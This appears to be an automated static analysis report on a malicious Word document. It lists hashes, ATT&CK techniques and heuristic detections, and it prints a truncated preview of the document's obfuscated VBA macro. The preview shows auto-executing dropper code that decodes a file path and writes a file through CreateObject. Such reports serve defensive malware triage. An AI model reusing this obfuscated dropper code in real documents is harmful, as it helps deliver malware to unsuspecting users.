Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fbbda9d8d9bcaaf9…

MALICIOUS

Office (OLE)

1.04 MB Created: 2018-02-10 15:18:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: ffb8ea0347a3af3dd2ab1b4e5a1be18a SHA-1: 99d3597fea978d3d8ea6ad1e5727d581ec409c1a SHA-256: fbbda9d8d9bcaaf9a7af84d08af3f5140f5f75778461e48253dc761cc9dc027c
204 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a strong indicator of malicious intent. The macro uses CreateObject, a common technique for executing arbitrary code. The document body prompts the user to "Enable Edit" and "Enable Content", suggesting a social engineering lure to bypass security measures. The presence of a large VBA macro file named 'macros.bas' further supports this. The ClamAV detection 'Doc.Malware.Valyria-7570499-0' confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-7570499-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-7570499-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/cusYIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 416361 bytes
SHA-256: 9d7345f9824002191e175fd2a52e011318b558ade4fcc26614de725165a0067b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 470 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "RefEdit1, 0, 1, MSForms, TextBox"

Option Explicit



Public Function aNqT(vTNb As String, LCHW As String)
    Dim ngqY As Object
    Set ngqY = CreateObject(LCHW)
    Dim fYXl As Object
    Dim NqvR As String
    NqvR = ""
    NqvR = xRyO(NqvR, YVKZ(xmeH(242, 177)))
NqvR = xRyO(NqvR, YVKZ(xmeH(4, 62)))
NqvR = xRyO(NqvR, "\")
NqvR = xRyO(NqvR, YVKZ(xmeH(33, 113)))
NqvR = xRyO(NqvR, YVKZ(xmeH(100, 22)))
NqvR = xRyO(NqvR, YVKZ(xmeH(229, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(9, 110)))
NqvR = xRyO(NqvR, YVKZ(xmeH(100, 22)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(160, 205)))
NqvR = xRyO(NqvR, YVKZ(xmeH(192, 132)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(204, 184)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, "\")
NqvR = xRyO(NqvR, YVKZ(xmeH(145, 203)))
NqvR = xRyO(NqvR, YVKZ(xmeH(113, 56)))
NqvR = xRyO(NqvR, YVKZ(xmeH(33, 113)))
NqvR = xRyO(NqvR, YVKZ(xmeH(47, 124)))
NqvR = xRyO(NqvR, YVKZ(xmeH(192, 132)))
NqvR = xRyO(NqvR, YVKZ(xmeH(102, 45)))
NqvR = xRyO(NqvR, "\")
NqvR = xRyO(NqvR, YVKZ(xmeH(33, 113)))
NqvR = xRyO(NqvR, YVKZ(xmeH(100, 22)))
NqvR = xRyO(NqvR, YVKZ(xmeH(229, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(32, 74)))
NqvR = xRyO(NqvR, YVKZ(xmeH(66, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(80, 51)))
NqvR = xRyO(NqvR, YVKZ(xmeH(204, 184)))
NqvR = xRyO(NqvR, YVKZ(xmeH(242, 177)))
NqvR = xRyO(NqvR, YVKZ(xmeH(229, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(73, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(31, 121)))
NqvR = xRyO(NqvR, YVKZ(xmeH(240, 189)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(73, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(9, 110)))
NqvR = xRyO(NqvR, YVKZ(xmeH(66, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(100, 22)))
NqvR = xRyO(NqvR, YVKZ(xmeH(241, 191)))
NqvR = xRyO(NqvR, YVKZ(xmeH(226, 182)))
NqvR = xRyO(NqvR, YVKZ(xmeH(164, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(228, 141)))
NqvR = xRyO(NqvR, YVKZ(xmeH(73, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(228, 141)))


    Set fYXl = ngqY.CreateTextFile(NqvR, True, True)
    fYXl.Write vTNb
    fYXl.Close
End Function

Public Function kzqZ(vTNb As String)
    Dim GBIB As Object
    Set GBIB = CreateObject(vTNb)
    Dim NqvR As String
    NqvR = ""
    NqvR = xRyO(NqvR, YVKZ(xmeH(242, 177)))
NqvR = xRyO(NqvR, YVKZ(xmeH(4, 62)))
NqvR = xRyO(NqvR, "\")
NqvR = xRyO(NqvR, YVKZ(xmeH(33, 113)))
NqvR = xRyO(NqvR, YVKZ(xmeH(100, 22)))
NqvR = xRyO(NqvR, YVKZ(xmeH(229, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(9, 110)))
NqvR = xRyO(NqvR, YVKZ(xmeH(100, 22)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(160, 205)))
NqvR = xRyO(NqvR, YVKZ(xmeH(192, 132)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(204, 184)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, "\")
NqvR = xRyO(NqvR, YVKZ(xmeH(145, 203)))
NqvR = xRyO(NqvR, YVKZ(xmeH(113, 56)))
NqvR = xRyO(NqvR, YVKZ(xmeH(33, 113)))
NqvR = xRyO(NqvR, YVKZ(xmeH(47, 124)))
NqvR = xRyO(NqvR, YVKZ(xmeH(192, 132)))
NqvR = xRyO(NqvR, YVKZ(xmeH(102, 45)))
NqvR = xRyO(NqvR, "\")
NqvR = xRyO(NqvR, YVKZ(xmeH(113, 56)))
NqvR = xRyO(NqvR, YVKZ(xmeH(73, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(237, 158)))
NqvR = xRyO(NqvR, YVKZ(xmeH(204, 184)))
NqvR = xRyO(NqvR, YVKZ(xmeH(95, 62)))
NqvR = xRyO(NqvR, YVKZ(xmeH(37, 73)))
NqvR = xRyO(NqvR, YVKZ(xmeH(37, 73)))
NqvR = xRyO(NqvR, YVKZ(xmeH(242, 177)))
NqvR = xRyO(NqvR, YVKZ(xmeH(229, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(73, 39)))
NqvR = xRyO(NqvR, YVKZ(xmeH(31, 121)))
NqvR = xRyO(NqvR, YVKZ(xmeH(241, 191)))
NqvR = xRyO(NqvR, YVKZ(xmeH(226, 182)))
NqvR = xRyO(NqvR, YVKZ(xmeH(164, 138)))
NqvR = xRyO(NqvR, YVKZ(xmeH(24, 110))
... (truncated)

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